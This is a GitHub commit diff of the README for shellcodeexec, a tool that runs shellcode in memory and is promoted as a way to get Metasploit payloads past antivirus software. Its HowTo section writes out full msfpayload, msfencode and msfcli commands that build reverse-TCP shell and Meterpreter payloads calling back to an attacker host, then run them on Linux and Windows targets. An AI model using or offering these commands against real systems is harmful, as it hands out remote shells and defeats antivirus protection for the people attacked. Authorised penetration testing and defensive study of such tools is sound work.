Skip to content

Commit 6798ad8

Browse files
bdamelebdamele
committed
Update master
1 parent c50f3df commit 6798ad8

1 file changed

Lines changed: 24 additions & 96 deletions

File tree

‎README‎

Lines changed: 24 additions & 96 deletions
Original file line numberDiff line numberDiff line change
@@ -1,127 +1,55 @@
1-
= Short description =
1+
# Short description
22

33
shellcodeexec is a small script to execute in memory a sequence of opcodes.
44

5+
## Background
56

6-
= Background =
7+
Most of the shellcode launchers out there, including proof of concepts part of many "security" books, detail how to allocate a memory page as readable/writable/executable on POSIX systems, copy over your shellcode and execute it. This works just fine. However, it is limited to POSIX, does not necessarily consider 64-bit architecture and Windows systems.
78

8-
Most of the shellcode launchers out there, including proof of concepts
9-
part of many "security" books, detail how to allocate a memory page as
10-
readable/writable/executable on POSIX systems, copy over your shellcode
11-
and execute it. This works just fine. However, it is limited to POSIX,
12-
does not necessarily consider 64-bit architecture and Windows systems.
9+
## Description
1310

11+
This script and the relevant project files (Makefile and Visual Studio files) allow you to compile the tool once then run your shellcode across different architectures and operating systems.
1412

15-
= Description =
16-
17-
This script and the relevant project files (Makefile and Visual Studio
18-
files) allow you to compile the tool once then run your shellcode across
19-
different architectures and operating systems.
20-
21-
Moreover, it solves a common real world issue: the target system's anti
22-
virus software blocking a Metasploit-generated payload stager (either EXE
23-
of ELF). Take for instance the following command line:
13+
Moreover, it solves a common real world issue: the target system's anti virus software blocking a Metasploit-generated payload stager (either EXE of ELF). Take for instance the following command line:
2414

2515
$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=process LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/shikata_ga_nai -o /tmp/payload.exe -t exe
2616

27-
This generates a Metasploit payload stager, payload.exe, that as soon as
28-
it lands on the AV-protected target system is recognized as malicious and
29-
potentially blocked (depending on the on-access scan settings) by many
30-
anti virus products. At the time of writing this text, 21 out 41 anti
31-
viruses detect it as malicious - http://goo.gl/HTw7o. By encoding it
32-
multiple times with msfencode, less AV softwares detect it, still a lot.
17+
This generates a Metasploit payload stager, payload.exe, that as soon as it lands on the AV-protected target system is recognized as malicious and potentially blocked (depending on the on-access scan settings) by many anti virus products. At the time of writing this text, 21 out 41 anti viruses detect it as malicious - http://goo.gl/HTw7o. By encoding it multiple times with msfencode, less AV softwares detect it, still a lot.
3318

34-
I have been surfing the Net and found some interesting tutorials and
35-
guides about packing, compressing, obfuscating and applying IDA-foo to
36-
portable executables et similar in order to narrow down the number of AV
37-
products that can detect it as a malicious file. This is all interesting,
38-
but does not stop few hard-to-die anti viruses to detect your backdoor.
19+
I have been surfing the Net and found some interesting tutorials and guides about packing, compressing, obfuscating and applying IDA-foo to portable executables et similar in order to narrow down the number of AV products that can detect it as a malicious file. This is all interesting, but does not stop few hard-to-die anti viruses to detect your backdoor.
3920

40-
So the question is, how cool would it be to have a final solution to avoid
41-
all this hassle? This is exactly where this tool comes into play!
21+
So the question is, how cool would it be to have a final solution to avoid all this hassle? This is exactly where this tool comes into play!
4222

43-
44-
= Features =
23+
## Features
4524

4625
shellcodeexec:
4726

4827
* Can be compiled and works on POSIX (Linux/Unices) and Windows systems.
49-
5028
* Can be compiled and works on 32-bit and 64-bit architectures.
51-
5229
* As far as I know, no AV detect it as malicious.
30+
* Works in DEP/NX-enabled environments: it allocates the memory page where it stores the shellcode as +rwx - Readable Writable and eXecutable.
31+
* It supports alphanumeric encoded payloads: you can pipe your binary-encoded shellcode (generated for instance with Metasploit's msfpayload) to Metasploit's msfencode to encode it with the alpha_mixed encoder. Set the BufferRegister variable to EAX registry where the address in memory of the shellcode will be stored, to avoid get_pc() binary stub to be prepended to the shellcode.
32+
* Spawns a new thread where the shellcode is executed in a structure exception handler (SEH) so that if you wrap shellcodeexec into your own executable, it avoids the whole process to crash in case of unexpected behaviours.
5333

54-
* Works in DEP/NX-enabled environments: it allocates the memory page where
55-
it stores the shellcode as +rwx - Readable Writable and eXecutable.
56-
57-
* It supports alphanumeric encoded payloads: you can pipe your binary-encoded
58-
shellcode (generated for instance with Metasploit's msfpayload) to
59-
Metasploit's msfencode to encode it with the alpha_mixed encoder. Set the
60-
BufferRegister variable to EAX registry where the address in memory of
61-
the shellcode will be stored, to avoid get_pc() binary stub to be
62-
prepended to the shellcode.
63-
64-
* Spawns a new thread where the shellcode is executed in a structure
65-
exception handler (SEH) so that if you wrap shellcodeexec into your own
66-
executable, it avoids the whole process to crash in case of unexpected
67-
behaviours.
68-
69-
70-
= HowTo =
71-
72-
1. Generate a Metasploit shellcode and encode it with the alphanumeric
73-
encoder. For example for a Linux target:
34+
## HowTo
7435

36+
1. Generate a Metasploit shellcode and encode it with the alphanumeric encoder. For example for a Linux target:
7537
$ msfpayload linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
76-
77-
Or for a Windows target:
78-
38+
Or for a Windows target:
7939
$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
80-
81-
82-
2. Execute the Metasploit multi/handler listener on your machine. For
83-
example for a Linux target:
84-
40+
2. Execute the Metasploit multi/handler listener on your machine. For example for a Linux target:
8541
$ msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
86-
87-
Or for a Windows target:
88-
42+
Or for a Windows target:
8943
$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
90-
91-
92-
3. Execute the alphanumeric-encoded shellcode with this tool. For example
93-
on the Linux target:
94-
44+
3. Execute the alphanumeric-encoded shellcode with this tool. For example on the Linux target:
9545
$ ./shellcodeexec <msfencode's alphanumeric-encoded payload>
96-
97-
Or, on the Windows target:
98-
46+
Or, on the Windows target:
9947
C:\WINDOWS\Temp>shellcodeexec.exe <msfencode's alphanumeric-encoded payload>
10048

49+
## License
10150

102-
= License =
103-
104-
This source code is free software; you can redistribute it and/or
105-
modify it under the terms of the GNU Lesser General Public
106-
License as published by the Free Software Foundation; either
107-
version 2.1 of the License, or (at your option) any later version.
108-
109-
This library is distributed in the hope that it will be useful,
110-
but WITHOUT ANY WARRANTY; without even the implied warranty of
111-
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
112-
Lesser General Public License for more details.
113-
114-
You should have received a copy of the GNU Lesser General Public
115-
License along with this library; if not, write to the Free Software
116-
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
117-
118-
119-
= Author =
120-
121-
Bernardo Damele A. G. <bernardo.damele@gmail.com>
122-
123-
124-
= Homepage =
51+
This source code is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version.
12552

126-
https://github.com/inquisb/shellcodeexec
53+
This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
12754

55+
You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA

0 commit comments

Comments
 (0)